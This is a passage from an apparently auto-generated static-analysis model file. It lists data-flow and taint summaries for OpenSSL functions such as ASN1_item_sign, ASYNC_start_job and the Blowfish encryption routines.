ASN1_VALUE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_ndef_i2d", "(const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_new", "(const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_new", "(const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_new_ex", "(const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_new_ex", "(const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[*2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_pack", "(void *,const ASN1_ITEM *,ASN1_OCTET_STRING **,ASN1_STRING **)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[*3].Field[**templates].Field[*offset]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ASN1_item_print", "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ctx", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[4]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[4]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ASN1_item_sign_ex", "(const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack", "(const ASN1_STRING *,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_unpack_ex", "(const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_verify", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *)", "", "Argument[*0]", "Argument[3]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_verify", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ASN1_item_verify_ctx", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ASN1_item_verify_ctx", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_item_verify_ex", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[3]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_verify_ex", "(const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_copy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_mbstring_ncopy", "(ASN1_STRING **,const unsigned char *,int,int,unsigned long,long,long)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_object_size", "(int,int,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse", "(BIO *,const unsigned char *,long,int)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse", "(BIO *,const unsigned char *,long,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ASN1_parse", "(BIO *,const unsigned char *,long,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse_dump", "(BIO *,const unsigned char *,long,int,int)", "", "Argument[*1]", "Argument[1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_parse_dump", "(BIO *,const unsigned char *,long,int,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ASN1_parse_dump", "(BIO *,const unsigned char *,long,int,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_eoc", "(unsigned char **)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_eoc", "(unsigned char **)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_eoc", "(unsigned char **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[2]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[3]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_put_object", "(unsigned char **,int,int,int,int)", "", "Argument[4]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*5]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_sign", "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*6]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_tag2bit", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_tag2str", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASRange_free", "(ASRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASRange_free", "(ASRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_all_fds", "(ASYNC_WAIT_CTX *,int *,size_t *)", "", "Argument[*0].Field[**fds].Field[*fd]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_all_fds", "(ASYNC_WAIT_CTX *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_all_fds", "(ASYNC_WAIT_CTX *,int *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_changed_fds", "(ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_changed_fds", "(ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_fd", "(ASYNC_WAIT_CTX *,const void *,int *,void **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_fd", "(ASYNC_WAIT_CTX *,const void *,int *,void **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_fd", "(ASYNC_WAIT_CTX *,const void *,int *,void **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_get_status", "(ASYNC_WAIT_CTX *)", "", "Argument[*0].Field[*status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[**2]", "Argument[*0].Field[***callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[*2]", "Argument[*0].Field[**callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[1]", "Argument[*0].Field[*callback]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_callback", "(ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *)", "", "Argument[2]", "Argument[*0].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_status", "(ASYNC_WAIT_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*status]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[**1]", "Argument[*0].Field[**fds].Field[***key]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[**3]", "Argument[*0].Field[**fds].Field[***custom_data]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[*1]", "Argument[*0].Field[**fds].Field[**key]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[*3]", "Argument[*0].Field[**fds].Field[**custom_data]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[**fds].Field[*key]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[2]", "Argument[*0].Field[**fds].Field[*fd]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[3]", "Argument[*0].Field[**fds].Field[*custom_data]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_WAIT_CTX_set_wait_fd", "(ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..))", "", "Argument[4]", "Argument[*0].Field[**fds].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_get_wait_ctx", "(ASYNC_JOB *)", "", "Argument[*0].Field[**waitctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_get_wait_ctx", "(ASYNC_JOB *)", "", "Argument[*0].Field[*waitctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[**4]", "Argument[**0].Field[**funcargs]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[*1]", "Argument[**0].Field[**waitctx]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[*4]", "Argument[**0].Field[**funcargs]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[*4]", "Argument[**4]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[1]", "Argument[**0].Field[*waitctx]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[3]", "Argument[**0].Field[*func]", "value", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[4]", "Argument[**0].Field[**funcargs]", "taint", "dfc-generated"] + - ["", "", True, "ASYNC_start_job", "(ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "AUTHORITY_INFO_ACCESS_free", "(AUTHORITY_INFO_ACCESS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "AUTHORITY_INFO_ACCESS_free", "(AUTHORITY_INFO_ACCESS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "AUTHORITY_KEYID_free", "(AUTHORITY_KEYID *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "AUTHORITY_KEYID_free", "(AUTHORITY_KEYID *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BASIC_CONSTRAINTS_free", "(BASIC_CONSTRAINTS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "BASIC_CONSTRAINTS_free", "(BASIC_CONSTRAINTS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[*0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cbc_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_cfb64_encrypt", "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "BF_decrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*P]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_decrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*S]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_decrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[*2].Field[*P]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[*2].Field[*S]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_ecb_encrypt", "(const unsigned char *,unsigned char *,const BF_KEY *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BF_encrypt", "(unsigned int *,const BF_KEY *)", "", "Argument[*1].Field[*P]", 